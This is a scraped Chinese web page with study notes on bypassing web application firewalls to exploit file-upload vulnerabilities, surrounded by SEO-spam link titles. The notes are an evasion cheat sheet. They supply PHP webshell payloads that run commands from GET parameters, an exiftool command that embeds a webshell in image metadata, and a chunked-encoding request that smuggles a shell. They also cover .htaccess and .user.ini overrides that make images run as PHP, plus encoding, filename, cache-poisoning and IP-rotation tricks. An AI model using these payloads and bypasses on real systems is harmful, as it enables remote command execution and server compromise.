当前位置: 首页 > wzjs >正文

一流高职院校建设计划项目网站seo网站推广目的

一流高职院校建设计划项目网站,seo网站推广目的,免费的网站程序,做下载类网站一年赚多少钱文件上传漏洞绕过WAF学习笔记 1. WAF检测原理 WAF&#xff08;Web应用防火墙&#xff09;通过以下方式拦截文件上传攻击&#xff1a; 关键字匹配&#xff1a;检测文件名、内容中的敏感词&#xff08;如<?php、eval&#xff09;。 扩展名黑名单&#xff1a;拦截.php、.jsp…

文件上传漏洞绕过WAF学习笔记


1. WAF检测原理

WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:

  1. 关键字匹配:检测文件名、内容中的敏感词(如<?phpeval)。

  2. 扩展名黑名单:拦截.php.jsp等危险扩展名。

  3. 文件头验证:检查文件魔数(如FFD8FF对应JPEG)。

  4. 流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。


2. 通用绕过技术

2.1 解析差异利用

  • 大小写混合sHell.PhP.Php(部分WAF未统一大小写)。

  • 特殊字符插入

    • 分号截断(IIS):shell.asp;.jpg → 解析为.asp

    • 换行符插入:filename="shell.p\nhp"(绕过正则匹配)。

  • 扩展名混淆

    • 多重扩展名:shell.php.jpg → 结合解析漏洞(如Apache解析最后有效扩展名)。

    • 非标准扩展名:.php7.phtml.phar(需环境支持)。


2.2 编码混淆

  • URL编码

    • shell.%70hp%70=p)→ 部分WAF不解码检测。

  • Unicode编码

    • shell.\u0070hp → 转换为shell.php

  • HTML实体编码

    • 文件名:shell.#112;hp#112;=p)。

  • Base64/Hex编码文件内容

    php

    <?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>  

2.3 分块传输(Chunked Encoding)

  • 绕过原理:WAF可能不解析分块传输的文件内容。

  • 示例

    http

    POST /upload HTTP/1.1  
    Transfer-Encoding: chunked  
    ​
    7\r\n  
    <?php \r\n  
    8\r\n  
    system($_GET['cmd']);\r\n  
    0\r\n  
  • 工具:Burp Suite的Chunked Coding Converter插件。


2.4 文件内容绕过

  • 图片马注入

    • 在图片元数据中插入代码(Exif注释、IPTC字段)。

    bash

    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg  
  • 短标签与动态调用

    php

    <?= `$_GET[0]`?>  # 短标签  
    <?php $_GET['a']($_GET['b']); ?>  # 动态函数调用  
  • 代码碎片化

    php

    <?php $a = "syste"; $b = "m"; $a.$b("id"); ?>  

2.5 HTTP协议特性利用

  • 参数污染

    http

    POST /upload?filename=shell.jpg HTTP/1.1  
    Content-Disposition: form-data; name="file"; filename="shell.php"  
    • 部分WAF优先取URL参数中的文件名。

  • 多文件上传绕过

    • 在多个文件字段中插入恶意文件,WAF可能只检测第一个。


3. 针对特定WAF的绕过

3.1 云WAF(如Cloudflare、阿里云)

  • 缓存污染攻击

    • 上传合法文件触发缓存,再覆盖为恶意文件。

  • IP轮询绕过

    • 通过大量不同IP上传,绕过频率限制。

3.2 ModSecurity规则绕过

  • 已知规则缺陷

    • 使用非常规扩展名:.php%20(空格)、.php.(末尾点)。

    • 利用正则回溯限制:构造超长文件名耗尽WAF计算资源。


4. 高级技巧

4.1 .htaccess/.user.ini覆盖

  • .htaccess(Apache)

    复制

    AddType application/x-httpd-php .jpg  
  • .user.ini(PHP)

    复制

    auto_prepend_file=shell.jpg  

4.2 分片上传绕过

  • 上传文件分片后合并,绕过WAF对完整文件的检测。

4.3 0day漏洞利用

  • CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。

http://www.dtcms.com/wzjs/192834.html

相关文章:

  • 普通电脑如何做网站服务器吗微信推广方案
  • 游戏网站建设项目规划书案例怎么在百度上做推广
  • 北京做网站建设公司排名网站排名软件推荐
  • 辛集网站建设哪家好展示型网页设计公司
  • 深圳网站建设平台东莞网站建设推广品众
  • 能自己做游戏的软件seo综合查询软件排名
  • 网站开发的教学课程南京百度seo排名
  • 丹东做网站哪家好什么是百度竞价推广
  • 织梦可以做大型网站吗计算机培训机构
  • 百度有没有做游戏下载网站吗sem百度竞价推广
  • 十堰网站建设公司0719webwin7系统优化大师
  • 如何在苹果电脑中进行网站设置小说推广关键词怎么弄
  • 北京模板网站建设seo网络推广技术
  • 昆明著名网站建设如何在百度推广自己的产品
  • 宝安营销型网站制作百度pc端首页
  • 做网站赚钱方法傻瓜式自助建站系统
  • 营销型网站建设项目需求表全国疫情排名一览表
  • 网站建设ag常州网站建设优化
  • 360公司官网首页深圳百度网站排名优化
  • 用花瓣网站上的图片做游戏行吗百度推广开户费
  • 学网站建设的专业叫什么怎么做网络推广优化
  • 易语言如何做浏网站网站访问量统计工具
  • 都有哪些js素材网站资源猫
  • 手机端企业网站源码宣传软文怎么写
  • 手表网站设计免费江北seo
  • 企业起名大全seo是什么职位
  • b站免费试用装扮石景山区百科seo
  • 如何制作网站后台管理系统百度品牌广告是什么
  • 游戏代码大全可复制最好的优化公司
  • 阿里云 域名 做网站网络运营培训